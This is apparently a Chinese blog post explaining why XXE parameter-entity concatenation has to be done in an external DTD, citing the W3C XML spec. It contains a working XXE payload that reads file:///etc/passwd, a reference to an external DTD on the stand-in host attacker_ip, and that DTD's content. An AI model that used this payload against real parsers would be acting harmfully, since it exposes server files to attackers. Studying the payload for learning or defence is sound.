如何理解参数实体不能用于在内联DTD的文档元素定义语句中替换文本

在学***E的时候,看到很多例子,都是在外部DTD中对参数实体进行文本替换和拼接,如下所示。

但没有解释为什么不在内联DTD中直接做拼接,反而要多此一举

payload :

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE root [
    <!ELEMENT person (name,age)>
    <!ELEMENT name (#PCDATA)>
    <!ELEMENT age (#PCDATA)>
    
    <!ENTITY % start "<![CDATA[">   
    <!ENTITY % info SYSTEM "file:///etc/passwd"> 
    <!ENTITY % end "]]>">  
    <!ENTITY % xxe SYSTEM "http://attacker_ip/xxe.dtd"> 
    %xxe;
]> 

<person>
    <name>&tag;</name>
    <age>18</age>
    <address>天津市红桥区西沽公园</address>
</person>

http://attacker_ip/xxe.dtd 的内容为 :

<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY tag "%start;%info;%end;">

最终在FreeBuf的一个视频中找到详细答案

直白翻译过来就是:

官方规范:在DTD内部子集中,参数实体的引用不能和文档元素定义混合在一起,但是该规则对于外部DTD不受影响

W3C XML 1.0的官方文档:https://www.w3.org/TR/xml/

posted @ 2020-06-30 16:24  鹿鹿脖子长  阅读(151)  评论(0编辑  收藏  举报